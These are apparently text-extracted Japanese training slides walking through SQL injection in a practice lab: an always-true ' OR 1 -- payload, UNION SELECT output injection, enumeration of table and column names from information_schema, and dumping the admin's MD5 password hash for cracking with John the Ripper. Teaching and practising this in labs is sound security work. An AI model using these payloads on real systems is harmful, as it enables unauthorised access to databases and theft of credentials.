Default word : いつもの
SELECT first_name, last_name FROM users
WHERE user_id = '' OR 1 --
Level 1
すべての⾏を表⽰させる
いつものやつ
UNION
SELECT first_name, last_name FROM users
WHERE user_id = '' OR 1
UNION ( SELECT 1, 2 ) --
result[0] = 1
result[1] = 2
Level 1
UNIONで出⼒結果を追加してみる
UNION
SELECT first_name, last_name FROM users
WHERE user_id = ''
UNION ( SELECT 1, 2 ) --
result[0] = 1
result[1] = 2
Level 1
UNIONで出⼒結果を追加してみる
FROM information_schema.columns
SELECT first_name, last_name FROM users
WHERE user_id = ''
UNION
SELECT table_name, GROUP_CONCAT(column_name)
FROM information_schema.columns
GROUP BY table_name --
table_name : users
column_name : name, user_id, avatar, password, user, last_name
※ information_schema.columns : 管理情報をもつtable
GROUP_CONCAT : 複数の要素をまとめる
Level 1
テーブル⼀覧とそのカラムを表⽰する
Get password FROM users
first_name : admin
password: 5f4dcc3b5aa765d61d8327deb882cf99
decode with john
復号ツールで解読したり...
SELECT first_name, last_name FROM users
WHERE user_id = ''
UNION
SELECT CONCAT(first_name, last_name), password
FROM users --
Level 1
さっきの情報を元にpasswordを出⼒
Get password FROM users
first_name : admin
password: 5f4dcc3b5aa765d61d8327deb882cf99
Level 1
出た!
(ハッシュ値は別途復号ツールで復号する)